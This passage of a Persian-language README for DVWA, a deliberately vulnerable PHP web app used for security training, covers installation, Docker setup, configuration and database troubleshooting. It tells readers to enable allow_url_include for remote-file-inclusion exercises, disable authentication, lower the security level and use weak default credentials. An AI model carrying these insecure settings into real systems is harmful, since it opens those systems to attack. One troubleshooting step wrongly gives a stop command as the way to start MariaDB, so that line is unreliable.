نصب [XAMPP](https://www.apachefriends.org/) است.\n\nبرنامه XAMPP یک توزیع آپاچی با نصب بسیار آسان برای لینوکس، سولاریس، ویندوز و مک او اس ایکس است. این برنامه شامل وب سرور آپاچی، MySQL، PHP، Perl، یک سرور FTP و phpMyAdmin است.\n  \nاین [ویدیو](https://youtu.be/Yzksa_WjnY0) مراحل نصب ویندوز را به شما نشان می‌دهد، در سایر سیستم عامل‌ها نصب آن زیاد تفاوت ندارد. \n\n### داکر\n\nبه لطف [hoang-himself](https://github.com/hoang-himself) و [JGillam](https://github.com/JGillam)، هر کامیت به شاخه `master` باعث می‌شود یک Image داکر ساخته شود و آماده دریافت از ساخت کانتینر گیت‌هاب باشد.\n\nبرای اطلاعات بیشتر در مورد آنچه دریافت می‌کنید، می‌توانید [Image از پیش ساخته شده داکر] (https://github.com/digininja/DVWA/pkgs/container/dvwa) را مرور کنید.\n\n#### شروع کار\n\nپیش‌نیازها: داکر و داکر کامپوز.\n\n- اگر از Docker Desktop استفاده می‌کنید، هر دوی این موارد باید از قبل نصب شده باشند.\n- - اگر Docker Engine را روی لینوکس ترجیح می‌دهید، حتماً [راهنمای نصب] آنها (https://docs.docker.com/engine/install/#server) را دنبال کنید.\n\n**همانطور که در بالا مشاهده می کنید، ما از آخرین نسخه Docker پشتیبانی می‌کنیم.**\nاگر روی لینوکس از نسخه‌ی Docker که از طریق package manager نصب شده استفاده کنید، احتمالاً کار می‌کند؛ اما اگر مشکلی پیش بیاد، پشتیبانی رسمی و تضمینی نداره و فقط در حد «تلاش می‌کنیم کمک کنیم» خواهد بود.\n\nارتقاء داکر از نسخه مدیریت بسته به نسخه آپ‌استریم مستلزم آن است که نسخه‌های قدیمی را همانطور که در دفترچه‌های راهنمای آنها برای [اوبونتو](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions)، [فدورا](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) و سایر موارد مشاهده شده است، حذف نصب کنید. داده‌های داکر شما (کانتینرها، تصاویر، ولوم‌ها و غیره) نباید تحت تأثیر قرار گیرند، اما در صورت بروز مشکل، حتماً [به داکر](https://www.docker.com/support) اطلاع دهید و در عین حال از موتورهای جستجو استفاده کنید.\n\nسپس، برای شروع:\n\n۱. برای بررسی نصب صحیح داکر و داکر کامپوز، دستورهای `docker version` و `docker compose version` را اجرا کنید. باید بتوانید نسخه‌های آنها را در خروجی مشاهده کنید.\n\n  برای مثال:\n```text\n>>> docker version\nClient:\n[...]\n    Version: 23.0.5\n[...]\nServer: Docker Desktop 4.19.0 (106363)\n    Engine:\n[...]\n        Version:          23.0.5\n>>> docker compose version\nDocker Compose version v2.17.3\n```\n\nاگر نتیجه ای نمی‌بینید یا خطای command not found دریافت می‌کنید، پیش‌نیازهای راه‌اندازی Docker و Docker Compose را دنبال کنید.\n\n۲. این مخزن را کلون یا دانلود کرده و از حالت فشرده خارج کنید (به [دانلود](#دانلود) مراجعه کنید).\n۳. یک ترمینال باز کنید و دایرکتوری آن را به این پوشه (`DVWA`) تغییر دهید.\n۴. دستور `docker compose up -d` را اجرا کنید.\n\nحالا DVWA در آدرس `http://localhost:4280` در دسترس است.\n\nتوجه داشته باشید که DVWA موجود در کانتینر،  به جای پورت پیش‌فرض ۸۰، بر روی پورت ۴۲۸۰ حالت Listening می‌باشد.\n\nبرای اطلاعات بیشتر در مورد این تصمیم، به [من می‌خواهم DVWA را روی یک پورت متفاوت اجرا کنم](#i-want-to-run-dvwa-on-a-different-port) مراجعه کنید.\n\n#### ساخت در Local\n\nاگر تغییرات Local ایجاد کرده‌اید و می‌خواهید پروژه را از Local بسازید، به `compose.yml` بروید و `pull_policy: always` را به `pull_policy: build` تغییر دهید.\n\nاجرای دستور `docker compose up -d` باید باعث شود که داکر صرف نظر از آنچه در رجیستری موجود است، یک تصویر از سیستم محلی بسازد.\n\nهمچنین این را هم مطالعه کنید: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n#### پردازش فایل های Local\n\nاگر تغییرات محلی ایجاد می‌کنید و نمی‌خواهید پروژه را برای هر تغییر Build کنید:\n\n۱. به فایل `compose.yml` بروید و این خط را از حالت کامنت خارج کنید:\n```yaml\n# volumes:\n#   - ./:/var/www/html\n```\n۲. برای کپی کردن فایل پیکربندی پیش‌فرض، دستور `cp config/config.inc.php.dist config/config.inc.php` را اجرا کنید.\n۳. دستور `docker compose up -d` را اجرا کنید تا تغییرات در فایل‌های محلی روی کانتینر اعمال شود.\n\n### نسخه PHP\n\nدر حالت ایده‌آل، شما باید از آخرین نسخه پایدار PHP استفاده کنید، زیرا این نسخه‌ای است که این برنامه روی آن توسعه داده و آزمایش خواهد شد.\n\nبه کسانی که سعی در استفاده از PHP 5.x دارند، پشتیبانی ارائه نخواهد شد.\n\n\nنسخه‌های پایین‌تر از ۷.۳ مشکلات شناخته‌شده‌ای دارند که باعث ایجاد عدم عملکرد صحیح می‌شود، بیشتر برنامه کار خواهد کرد، اما ممکن است مواردی به صورت تصادفی درست عمل نکنند. مگر اینکه دلیل بسیار خوبی برای استفاده از چنین نسخه قدیمی داشته باشید، پشتیبانی ارائه نخواهد شد.\n\n### دسترسی های لینوکس\n\nاگر از توزیع لینوکس مبتنی بر دبیان استفاده می‌کنید، باید بسته‌های زیر _(یا معادل آنها)_ را نصب کنید:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nتوصیه می‌کنم قبل از این کار، یک به‌روزرسانی انجام دهید، فقط برای اینکه مطمئن شوید آخرین نسخه همه چیز را دریافت می‌کنید.\n\n```sh\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nاین سایت به جای MariaDB با MySQL کار خواهد کرد، اما ما اکیداً MariaDB را توصیه می‌کنیم زیرا به صورت پیش‌فرض کار می‌کند، در حالی که برای عملکرد صحیح MySQL باید تغییراتی ایجاد کنید.\n\n### ماژول‌های آپاچی\n\nاگر می‌خواهید از API lab استفاده کنید، باید ماژول آپاچی `mod_rewrite` را فعال کنید. برای انجام این کار در لینوکس، دستور زیر را اجرا کنید:\n\n```sh\na2enmod rewrite\n```\n\nسپس Apache را راه اندازی مجدد کنید:\n\n```sh\napachectl restart\n```\n\n### فایل های Vendor\n\nاگر می‌خواهید از ماژول API استفاده کنید، باید مجموعه‌ای از فایل‌های Vendor را با استفاده از [Composer](https://getcomposer.org/) نصب کنید.\n\nاول، مطمئن شوید که Composer را نصب کرده‌اید. به نظر می‌رسد نسخ قدیمی دارای مشکلاتی باشد، بنابراین من همیشه آخرین نسخه را از اینجا دریافت می‌کنم:\n\nhttps://getcomposer.org/doc/00-intro.md\n\nبرای نصب، دستورالعمل‌هایی که سایت ارائه می‌دهد را دنبال کنید.\n\nحالا به پوشه `vulnerabilities/api` بروید و دستور زیر را اجرا کنید:\n\n```sh\ncomposer.phar install\n```\n\nاگر Composer را در مسیر سیستم نصب نکرده‌اید، مطمئن شوید که امکان ارجاع به آن وجود دارد.\n\n\n## پیکربندی‌ها\n### فایل کانفیگ\n\nبرنامهٔ DVWA همرا با یک فایل کانفیگ دم‌دستی توزیع می‌شود که لازم است شما آن را در جای مناسب کپی کنید و تغییرات لازم را بر روی آن اعمال کنید. در لینوکس با فرض بر اینکه در پوشهٔ DVWAقرار دارید، به این طریق می‌توانید فایل را کپی کنید:\n\n`cp config/config.inc.php.dist config/config.inc.php`  \n\nدر ویندوز، اگر پسوند فایل‌ها مخفی باشد، کار اندکی دشوارتر می‌شود. اگر در این مورد مطمئن نیستید، برای توضیحات بیشتر این پست وبلاگ را ببینید:\n\n[چگونه در ویندوز پسوند ها را نمایش دهیم](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### پیکربندی با متغیرهای محیطی\n\nبه جای تغییر فایل پیکربندی، می‌توانید اکثر تنظیمات را با استفاده از متغیرهای محیطی نیز تنظیم کنید. در یک پیاده‌سازی Docker یا Kubernetes، این به شما امکان می‌دهد پیکربندی را بدون ایجاد یک تصویر Docker جدید تغییر دهید. متغیرها را در فایل [config/config.inc.php.dist](config/config.inc.php.dist) خواهید یافت.\n\nاگر می‌خواهید سطح امنیتی پیش‌فرض را روی «پایین» تنظیم کنید، کافیست خط زیر را به فایل [compose.yml](./compose.yml) اضافه کنید:\n\n```yml\nenvironment:\n  - DB_SERVER=db\n  - DEFAULT_SECURITY_LEVEL=low\n```\n\n### نصب دیتابیس\n\nبرای راه‌اندازی پایگاه داده، کافیست روی دکمه‌ی «Setup DVWA» در منوی اصلی کلیک کنید، سپس روی دکمه‌ی «Create / Reset Database» کلیک کنید. این کار پایگاه داده را برای شما با مقداری داده ایجاد/بازنشانی می‌کند.\n\nاگر هنگام ایجاد پایگاه داده خود با خطایی مواجه شدید، مطمئن شوید که اعتبارنامه‌های ( نام کاربری و رمز عبور ) پایگاه داده شما در\n`./config/config.inc.php` \nصحیح هستند.\n**نکته:** _فایل  `config.inc.php.dist`  یک فایل نمونه است، و با `config.inc.php` متفاوت است._\n\nمتغیرها به طور پیش‌فرض به صورت زیر تنظیم شده‌اند:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nنکته، اگه شما از MariaDB به جای MySQL (به صورت پیش‌فرضMariaDB در Kali وجود دارد)، نمیتونید از کاربر root استفاده کنید و باید یک کاربر در دیتابیس بسازید برای انجام این کار به دیتابیس خودتون متصل بشید و دستورات زیر را اجرا کنید:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### غیرفعال سازی احراز هویت\n\nبعضی از ابزارها با بخش ورود به خوبی کار نمی‌کنند و با DVWA نمی‌توانند استفاده شوند. برای رفع این مشکل، گزینه‌ای در کانفیگ وجود دارد که بتوانید کنترل ورود را غیر فعال کنید. برای این کار کافیست تنظیم زیر را در فایل کانفیگ انجام دهید:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nهمچنین لازم است سطح امنیت را به مقداری که برای آزمونتان مد نظر دارید تغییر دهید:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nدر این حالت شما می‌توانید از تمامی امکانات بدون نیاز به ورود و تنظیم کوکی‌ها بهره ببید.\n \n### سطح دسترسی به پوشه‌ها\n\n* `./hackable/uploads/`\nباید توسط وب سرویس قابل نوشتن باشد (برای آپلود فایل).\n\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt`\nباید توسط وب سرویس قابل نوشتن باشد (اگر قصد استفاده از PHPIDS را دارید ).\n\n### تنظیمات PHP\n\nتنظیمات PHP در سیستم‌های لینوکس، احتمالاً در\n`/etc/php/x.x/fpm/php.ini`\nیا \n`/etc/php/x.x/apache2/php.ini`\nیافت می‌شود.\n\n* جهت بهره‌برداری به آسیب‌پذیری Remote File Inclusions (RFI)    \n     * تنظیم `allow_url_include = on` مستندات: [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n     * تنظیم `allow_url_fopen = on` مستندات: [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n* برای  خاموش‌کردن هشدار‌های پی‌اچ‌پی که کمتر شلوغ باشد (در صورت نیاز)\n     * تنظیم `display_errors = off` مستندات:  [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n  حتما پس از ایجاد تغییرات سرویس PHP یا Apache را راه اندازی مجدد کنید.\n\n### تنظیمات reCAPTCHA\n\nاین فقط برای آزمایشگاه \"CAPTCHA ناامن\" مورد نیاز است، اگر نمیخواهید این آزمایشگاه را ارزیابی کنید، می توانید این بخش را نادیده بگیرید.\n\nیک جفت کلید API از <https://www.google.com/recaptcha/admin/create> دریافت کنید.\n\nسپس به فایل\n`./config/config.inc.php`\nبروید و این مقادیر را به آن اضافه کنید:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n### اطلاعات ورود پیش‌فرض\n \n**نام کاریری پیش‌فرض = `admin`**\n\n**کلمه عبور پیش‌فرض = `password`**\n\n_...که به راحتی می‌تواند مورد حملات بروت‌فورس قرار گیرد ;)_\n\nنشانی ورود: http://127.0.0.1/login.php\n\n\n_نکته: اگر DVWA را در مسیرمتفاوتی نصب کرده باشد، این نیز برای شما تفاوت خواهد داشت._\n\n- - -\n\n## عیب یابی\n\nتمامی مراحل با فرض این که شما در یک توزیع مبتنی بر دبیان، مانند دبیان، اوبونتو و کالی هستید. برای سایر توزیع‌ها، هستید نوشته شده است، اما دستور را در صورت لزوم به‌روزرسانی کنید.\n\nاگر ترجیح می دهید به جای خواندن، ویدیو تماشا کنید، رایج ترین مشکلات در ویدیو [رفع مشکلات راه اندازی DVWA] (https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F) پوشش داده شده است.\n\n## کانتینر داکر\n\n### می‌خواهم به لاگ دسترسی داشته باشم\n\nاگر از Docker Desktop استفاده می‌کنید، می‌توانید از برنامه گرافیکی به گزارش‌ها دسترسی پیدا کنید.\nبرخی از جزئیات جزئی ممکن است با نسخه های جدیدتر تغییر کنند، اما روش دسترسی باید یکسان باشد.\n\n![Overview of DVWA compose](./docs/graphics/docker/overview.png)\n\n![Viewing DVWA logs](docs/graphics/docker/detail.png)\n\nهمچنین می توانید از طریق Terminal به لاگ ها دسترسی داشته باشید.\n\n1. یک ترمینال را باز کنید و دایرکتوری کاری آن را به DVWA تغییر دهید\n2. گزارش های ادغام شده را نشان دهید\n```sh\ndocker compose logs\n```\n\nدر صورتی که می‌خواهید لاگ ها در یک فایل ذخیره شوند این دستور را اجرا کنید:\n\n```sh\ndocker compose logs > dvwa.log\n```\n\n\n#### می‌خواهم DVWA را روی پورت متفاوتی اجرا کنم\n\nبه صورت پیش فرض ما از پورت 80 به چند دلیل استفاده نمی‌کنیم:\n- برخی کاربران ممکن است روی پورت 80 چیزی در حال اجرا داشته باشند\n- برخی کاربران ممکن است از کانتینر هایی که rootless هستند (مثل Podman) استفاده کنند، دسترسی به پورت 80 نداشته باشند.\n\nبا تغییر اتصال پورت در فایل «compose.yml» می‌توانید DVWA را در پورت دیگری در معرض دید قرار دهید.\nبه عنوان مثال، شما می توانید مقدار زیر را\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nبه\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\nتغییر دهید.\n\nحالا DVWA روی آدرس `http://localhost8806` در دسترس است.\n\n\nدر مواردی که می خواهید DVWA برای همه کاربران موجود در یک شبکه قابل دسترس باشد، مقدار `127.0.0.1:` را از فایل compose.yml حذف کنید (یا آن را با IP LAN خود جایگزین کنید). در این حالت امکان مشاهده DVWA در کل شبکه فراهم می باشد.\nبه این \nدستگاه لوپ بک محلی پس از همه، این یک برنامه وب آسیب پذیر لعنتی است که روی دستگاه شما اجرا می شود.\n\n#### شروع خودکار DVWA در هنگام اجرای Docker\n\nفایل موجود [`compose.yml`](./compose.yml) به طور خودکار DVWA و پایگاه داده آن را با شروع Docker اجرا می کند.\n\nبرای غیرفعال کردن این قابلیت، می‌توانید خط \n\n```yml\nrestart: unless-stopped\n```\n\nرا در فایل [`compose.yml`](./compose.yml) حذف یا کامنت کنید.\n\nاگر می‌خواهید این رفتار را به‌طور موقت غیرفعال کنید، می‌توانید `docker compose stop` را اجرا کنید، یا از Docker Desktop استفاده کنید، `DVWA` را پیدا کنید و روی Stop کلیک کنید.\n\nاگر می‌‌خواهید کانتینر را متوقف کنید دستور `docker compose down` را اجرا کنید.  \n\n### فایل LOG\n\nدر سیستم‌های لینوکس، آپاچی به‌طور پیش‌فرض دو فایل گزارش ایجاد می‌کند، «access.log» و «error.log» و در سیستم مبتنی بر دبیان معمولاً در `/var/log/apache2/` یافت می‌شوند.\n\nهنگام ارسال گزارش خطا، مشکلات و مواردی از این قبیل، لطفاً حداقل پنج خط آخر هر یک از این فایل ها را وارد کنید. در سیستم های مبتنی بر دبیان می توانید موارد زیر را دریافت کنید:\n\n```sh\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### سایت را مرور می‌کنم، ولی خطای ۴۰۴ می‌گیرم\n\n[ویدیو رفع مشکل](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141)\n\nاگر شما این خطا را دریافت می‌کنید، نیاز است تسبت به محل فایل‌ها آگاهی بیشتری کسب کنید. به‌شکل پیش‌فرض، پوشهٔ ریشهٔ فایلهای آپاچی (جایی که آن را به‌دنبال محتوای وبی جستجو می‌کند)، در `/var/www/html` واقع شده است. اگر شما فایل `hello.txt` را در آن قرار دهید، برای مرور آن می‌بایست از آدرس `http://localhost/hello.txt` استفاده کنید.  \n\nاما اگر یک پوشه در آنجا ساخته‌اید و فایل را دروت آن قرار داده‌اید - `/var/www/html/mydir/hello.txt` - می‌بایست برای مرور آن از آدرس `http://localhost/mydir/hello.txt` استفاده کنید.\n \nلینوکس، نسبت به بزرگی و کوچکی حروف حساس است. لذا در مثال بالا تلاش برای مرور هرکدام از آدرس‌های زیر نیز به شما خطای ۴۰۴ را گزارش خواهد داد: \n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nاین چه تأثیری بر روی DVWA‌خواهد داشت؟ بسیاری از افراد با استفاده از گیت، DVWA  را در پوشهٔ `/var/www/html` دانلود می‌کنند. این منجر به ایجاد پوشهٔ `/var/www/html/DVWA/` خواهد شد که تمام فایل‌های DVWA درون آن قرار می‌گیرند. پس از آن سراغ آپاچی رفته و `http://localhost/` را مرور کرده و با خطای ۴۰۴ یا صفحهٔ خوش‌آمدگویی آپاچی مواجه می‌شوند. از آنجایی که فایل‌ها درون پوشهٔ DVWA قرار دارند، باید بجای آن، آدرس `http://localhost/DVWA` را مرور کرد. \n\nاشتباه رایج دیگر استفاده از آدرس `http://localhost/dvwa` است که باز هم خطای ۴۰۴ را خواهد داد. چراکه  `dvwa` با `DVWA` در لینوکس یکی نیستند و لینوکس به حروف بزرگ و کوچک حساس می باشد.\n\nبنابرین وقتی پس از نصب با خطای `404` مواجه شدید، یک مرتبه مرور کنید که فایها را در کجا نصب کرده‌اید، نسبت به پوشهٔ ریشهٔ فایلها در چه موقعیتی قرار گرفته‌اند و بزرگی و کوچکی حروف در نام پوشه‌های استفاده‌شده چه شکلی است.\n\n\n### در هنگام باز شدن صفحه سایت صفحه سفید می باشد\n\n[ویدیو رفع مشکل](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243)\n\nاین معمولاً یک مشکل پیکربندی است که مشکل دیگری را پنهان می کند. به‌طور پیش‌فرض، PHP خطاها را نمایش نمی‌دهد، و بنابراین اگر فراموش کرده‌اید که نمایش خطا را در طول فرآیند راه‌اندازی روشن کنید، هر گونه مشکل دیگری مانند عدم اتصال به پایگاه داده، بارگذاری برنامه را متوقف می‌کند اما پیامی که به شما می‌گوید چه چیزی اشتباه است پنهان می‌شود.\n\nبرای رفع این مشکل، مطمئن شوید که `display_errors` و `display_startup_errors` را در [پیکربندی PHP] (#php-configuration) تنظیم کرده‌اید و سپس Apache را مجدداً راه‌اندازی کنید.\n### خطای\"Access denied\" موقع اجرای نصب\n\nاگر حین اجرای اسکریپت نصب این خطا را دریافت می‌کنید، بدان معنی است که نام کاربری و کلمهٔ عبور تنظیم‌شده در قایل تنظیمات با آنچه در پایگاه داده تنظیم شده است تطابق ندارد. [ویدیو رفع مشکل](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973)\n\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nاین پیام خطا به شما می‌گوید که در حال استفاده از نام کاربری `notdvwa` هستید.  \n\nخطای زیر می گوید که فایل پیکربندی را به سمت پایگاه داده اشتباهی نشانه رفته اید. [راهنمای ویدیو](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630)\n  \n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nاین به شما می‌گوید که با استفاده از نام کاربری `dvwa` در حال تلاش برای اتصال به پایگاه دادهٔ `notdvwa` هستید.  \n\nاولین قدم این است که بررسی کنید نام کاربری، رمزعبور، نام دیتابیس در فایل کانفیگ به صورت صحیح وجود دارد خیر\n\nاگر مقادیر به درستی در فایل کانفیگ تعریف شده بودند، مرحلهٔ بعدی تلاش برای ورود با نام کاریری از طریق خط فرمان است. با فرض بر اینکه شما یک نام کاربری با نام `dvwa` و یک کلمهٔ عبور با مقدار `p@ssw0rd` دارید، می‌توانید دستور زیر را اجرا کنید: \n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*دقت کنید که هیچ فاصلهٔ خالی بعد از p- قرار ندارد*\n\nاگر یک چنین چیزی می‌بینید، کلمهٔ عبور شما صحیح است:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nاز آنجا که از طریق خط فرمان به شکل موفقیت آمیز توانسته‌اید متصل شوید، به احتمال زیاد چیزی در فایل کانفیگ اشتباه است. مجدداً آن را بررسی کنید و اگر همچنان نتوانستید موفق شوید یک issue برای رسیدگی ایجاد کنید.\n\nاگر چنین چیزی می‌بینید، یا نام کاربری یا کلمهٔ عبورتان اشتباه است. مراحل [نصب پایگاه داده](#database-setup)  را مجدداً تکرار کنید و اطمینان حاصل کنید که در کل این فرایند از همان نام کاربری و کلمهٔ عبور استفاده می‌کنید.\n  \n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nاگر خطای زیر را می‌گیرید، بدین معنا است که نام کاربری و کلمهٔ عبور شما صحیح است، لبکن سطح دسترسی آن به پایگاه داده کافی نیست. در این حالت نیز مراحل نصب را تکرار کنید و نام پایگاه داده‌ای که به آن متصل می‌شوید را چک کنید.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\n  \nآخرین خطایی که ممکن است دریافت کنید نیز به شرح زیر است:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nاین یک خطای احراز هویت نیست، اما به شما می‌گوید که سرور پایگاه داده در حال اجرا نیست. آن را با دستور زیر اجرا کنید:\n  \n```sh\nsudo service mysql start\n```\n\n\n### خطای اتصال\n\n[ویدیو رفع مشکل](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444)\n\nیک خطای مشابه هم میتوان مشاهده کرد\n\n```mariadb\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nبه این معنی که سرور دیتابیس شما اجرا نشده است یا آدرس IP اشتباهی تعریف شده است.\n\nبرای دیدن محل مورد انتظار سرور پایگاه داده، این خط را در فایل پیکربندی بررسی کنید:\n\n```php\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nسپس  بررسی کنید که ایا MariaDB در حال اجرا است؟\nدر لینوکس این کار را می‌توان با دستور زیر انجام داد:\n\n```sh\nsystemctl status mariadb.service\n```\n\nدر نتیجه این دستور باید همچین خروجی داشته باشد:\n\n```sh\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nاگه مقدار active (running) را مشاهده کردید یعنی سرویس MariaDB فعال می باشد.\n\nاگر اجرا نشده بود دستور زیر را اجرا کنید\n\n```sh\nsudo systemctl stop mariadb.service\n```\n\nبه `sudo` توجه کنید و در صورت درخواست، مطمئن شوید که رمز عبور کاربر لینوکس خود را وارد می‌کنید.\n\nدر ویندوز، وضعیت را در کنسول XAMPP بررسی کنید.\n\n### روش ورود ناشتاخته\n\nدر جدیدترین نسخه‌های MySQL، PHP دیگر نمی‌تواند با پایگاه داده در پیکربندی پیش‌فرض آن ارتباط برقرار کند. اگر سعی کنید اسکریپت راه‌اندازی را اجرا کنید و پیام زیر را دریافت کنید، به این معنی است که پیکربندی انجام شده است.  \n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nدو راه حل پیش رو دارید که آسان‌ترین آنها حذف مای‌اس‌کیو‌ال و نصب ماریادی‌بی بجای آن است. در پایین می‌توانید راهنمای رسمی پروژهٔ ماریادی‌بی را  ببینید:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nراه‌حل دیگر اجرای مراحل زیر است:\n1. با کاربر روت، فایل `/etc/mysql/mysql.conf.d/mysqld.cnf` را برای ویرایش باز کنید.\n2. زیر سطر `[mysqld]`، عبارت زیر را اضافه کنید:\n`default-authentication-plugin=mysql_native_password`\n3. سرویس پایگاه داده را ریستارت کنید:\n`sudo service mysql restart`\n4. حالت ارزیابی ورود را برای کاربرتان بررسی کنید:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. احتمالاً `caching_sha2_password` به چشمتان خواهد خورد در این صورت دستور زیر را اجرا کنید:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n  \n6. اگر دوباره بررسی کنید، ایندفعه می‌بایست `mysql_native_password` را ببینید.  \n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nپس از تمام این کارها، الان فرایند نصب باید بتواند به صورت عادی انجام شود.\n\nبرای اطلاعات بیشتر صفحهٔ زیر را دنبال کنید:\n <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### خطای شماره ۲۰۰۲ پایگاه داده: چنین فایل یا پوشه‌ای وجود ندارد\n\nسرور پایگاه داده در حال اجرا نیستو در توزیع‌های مبتنی بر دبیان می‌توانید اینگونه مشکل را برطرف کنید:\n\n```sh\nsudo service mysql start\n```\n\n### خطاهای \"MySQL server has gone away\" و \"Packets out of order\"\n\nچندین دلیل ممکن است برای گرفتن خطاهای بالا وجود داشته باشد. اما شایع‌ترینشان این است که نسخهٔ سرور پایگاه دادهٔ شما با نسخهٔ پی‌اچ‌پی سازگاری ندارد.\n\nاین ممکن است وقتی استفاده از آخرین نسخه‌های مای‌اسکیوال و پی‌اچ‌پی به خوبی پیش‌نرود مشاهده شود. بهترین توصیه کنارگذاشتن مای‌اسکیوال و نصب ماریا‌دی‌بی است چرا که این موضوعی نیست که بتوانیم پشتیبانی بیشتری در مورد آن بدهیم.\n\nبرای اطلاعات بیشتر اینجا را ببینید:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### دلیل عدم اتصال به دیتابیس در CentOS\n\nممکن است با SELinux به مشکل برخورده باشید. یا SELinux را غیرفعال کنید یا این دستور را اجرا کنید تا به وب سرور اجازه دهید با پایگاه داده ارتباط برقرار کند:\n\n```sh\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### داکر MariaDB شروع به کار نمی‌کند\n\nاگر هنگام تلاش برای شروع MariaDB خطای زیر را در گزارش‌های Docker مشاهده کردید، احتمالاً به دلیل کمبود حافظه کافی در دستگاه میزبان است. اگر از این در یک محیط میزبانی شده استفاده می‌کنید، بهترین راه حل افزایش اندازه دستگاه برای دریافت حافظه بیشتر و دوباره امتحان کردن است.\n\n```sh\n[Note] [Entrypoint]: Entrypoint script for MariaDB Server 1:10.11.15+maria~ubu2204 started.\n[Warn] [Entrypoint]: /sys/fs/cgroup///memory.pressure not writable, functionality unavailable to MariaDB\n```\n\nهمچنین ممکن است لازم باشد خط زیر را به بخش volums فایل `compose.yml` خود اضافه کنید:\n\n```yaml\n- /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\n### چیز دیگه ای می‌مونه\n\nبرای آخرین اطلاعات عیب‌یابی، لطفاً تیکت‌های باز و بسته را در مخزن گیت مطالعه کنید:\n\nhttps://github.com/digininja/DVWA/issues\n\nقبل از ارسال تیکت، لطفاً مطمئن شوید که آخرین نسخه کد را از مخزن اجرا می‌کنید. این آخرین نسخه نیست، این آخرین کد از شاخه اصلی است.\n\nدر صورت درخواست، لطفاً حداقل اطلاعات زیر را ارسال کنید:\n\n- سیستم 